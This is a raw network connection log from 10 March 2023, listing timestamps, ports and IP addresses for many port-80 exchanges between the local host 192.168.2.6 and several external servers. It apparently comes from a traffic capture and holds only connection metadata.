Mar 10, 2023 07:54:59.260067940 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.260219097 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.260235071 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.260272980 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.260340929 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.260402918 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.260432005 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.260515928 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.260579109 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.260651112 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.260706902 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.260714054 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.260778904 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.271218061 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.271260977 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.271434069 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.271467924 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.271487951 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.271505117 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.271505117 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.271538019 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.271562099 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.271586895 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.271616936 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.271637917 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.272155046 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.272223949 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.272227049 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.272273064 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.272308111 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.272322893 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.272329092 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.272388935 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.273009062 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.273078918 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.273127079 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.273159981 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.273175955 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.273186922 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.273186922 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.273243904 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.273838043 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.273889065 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.273937941 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.273987055 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.273994923 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.274043083 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.274044037 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.277483940 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.277538061 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.277625084 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.277664900 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.277693033 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.277736902 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.277770042 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.277946949 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.277998924 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.278038979 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.278078079 CET	80	49918	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:59.278130054 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.278167009 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.278238058 CET	49918	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:59.279645920 CET	49886	80	192.168.2.6	96.91.204.114
Mar 10, 2023 07:54:59.284168005 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.284224987 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.284271955 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.284313917 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.284440041 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.284440041 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.284472942 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.284491062 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.284514904 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.284535885 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.284539938 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.284605980 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.284635067 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.284712076 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.285296917 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.285350084 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.285398006 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.285444975 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.285505056 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.285542965 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.286144018 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.286199093 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.286247015 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.286302090 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.286338091 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.286365032 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.288041115 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.288095951 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.288211107 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.288258076 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.288259029 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.288295031 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.288305044 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.288319111 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.288352966 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.288362980 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.288404942 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.289033890 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.289083958 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.289132118 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.289180040 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.289227962 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.289268970 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.289844990 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.289891005 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.289942980 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.289993048 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.290010929 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.290038109 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.290071011 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.290730953 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.290782928 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.290805101 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.290828943 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.290832996 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.290879011 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.290884018 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.290935040 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.291358948 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.291529894 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.291579962 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.291604042 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.291626930 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.291634083 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.291677952 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.291711092 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.291737080 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.292370081 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.292423964 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.292470932 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.292520046 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.292536020 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.292572021 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.292597055 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.293199062 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.293263912 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.293375969 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.293406010 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.296901941 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.296952963 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.297100067 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.297139883 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.297146082 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.297194958 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.297215939 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.297244072 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.297262907 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.297291994 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.297318935 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.297367096 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.297790051 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.297835112 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.297868967 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.297904968 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.298139095 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.298177958 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.298237085 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.298237085 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.298453093 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.298512936 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.298975945 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.299024105 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.299066067 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.299105883 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.299139023 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.299185038 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.299185038 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.301110029 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.301157951 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.301203966 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.301217079 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.301217079 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.301244974 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.301254034 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.301301956 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.301472902 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.301521063 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.301536083 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.301564932 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.301573038 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.301609993 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.301625013 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.301664114 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.302341938 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.302390099 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.302422047 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.302432060 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.302448988 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.302469015 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.302490950 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.302570105 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.303666115 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.303714991 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.303760052 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.303771019 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.303771019 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.303802013 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.303843021 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.303870916 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.304056883 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.304101944 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.304126978 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.304138899 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.304150105 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.304197073 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.311968088 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.312019110 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.312062025 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.312104940 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.312135935 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.312165976 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.312171936 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.312211990 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.312251091 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.312366009 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.312366009 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.313240051 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.320069075 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.320117950 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.320164919 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.320214033 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.320262909 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.320275068 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.320310116 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.320314884 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.320314884 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.320360899 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.320373058 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.320400000 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.320414066 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.320451975 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.333048105 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.333107948 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.333163023 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.333210945 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.333272934 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.333309889 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.333488941 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.333539963 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.424813032 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.424949884 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.425730944 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.425829887 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.493058920 CET	49960	80	192.168.2.6	64.125.133.18
Mar 10, 2023 07:54:59.500843048 CET	80	49927	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:59.500963926 CET	49927	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:59.516108990 CET	80	49923	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:59.516308069 CET	49923	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:59.559298038 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.559328079 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.559345961 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.956130028 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.956166029 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.956226110 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.956264973 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.958806992 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.958966970 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.958992004 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.959013939 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.959068060 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.959124088 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.959214926 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.959295988 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.959636927 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.959666014 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.959798098 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.959827900 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:59.962490082 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:59.962682009 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.089698076 CET	80	49873	103.3.1.161	192.168.2.6
Mar 10, 2023 07:55:00.089792967 CET	49873	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:55:00.090006113 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.090032101 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.090225935 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.090225935 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.094793081 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.094830990 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.095120907 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.095150948 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.104222059 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.104268074 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.104489088 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.104489088 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.113639116 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.113687992 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.113895893 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.113926888 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.122884989 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.122914076 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.123192072 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.123224974 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.132333994 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.132364988 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.132550001 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.132587910 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.142518044 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.142589092 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.142774105 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.142841101 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.151113033 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.151175976 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.151364088 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.151412010 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.160402060 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.160656929 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.161412001 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.161611080 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.170152903 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.170182943 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.170416117 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.170447111 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.227272034 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.227339029 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.227585077 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.227638006 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.231997967 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.232047081 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.232251883 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.232304096 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.240648031 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:00.240886927 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:00.258711100 CET	80	49789	147.154.0.23	192.168.2.6
Mar 10, 2023 07:55:00.258841038 CET	49789	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:55:00.389664888 CET	49949	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:55:00.401226997 CET	80	49933	165.227.252.190	192.168.2.6
Mar 10, 2023 07:55:00.401359081 CET	49933	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:55:00.419495106 CET	49961	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:55:00.482935905 CET	49953	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:55:00.510061979 CET	80	49961	93.187.206.66	192.168.2.6
Mar 10, 2023 07:55:00.510189056 CET	49961	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:55:00.511322975 CET	49961	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:55:00.601583004 CET	80	49961	93.187.206.66	192.168.2.6
Mar 10, 2023 07:55:00.601727962 CET	80	49961	93.187.206.66	192.168.2.6
Mar 10, 2023 07:55:00.601819992 CET	49961	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:55:00.751226902 CET	80	49882	93.187.206.66	192.168.2.6
Mar 10, 2023 07:55:00.751322031 CET	49882	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:55:00.921003103 CET	49962	80	192.168.2.6	96.91.204.114
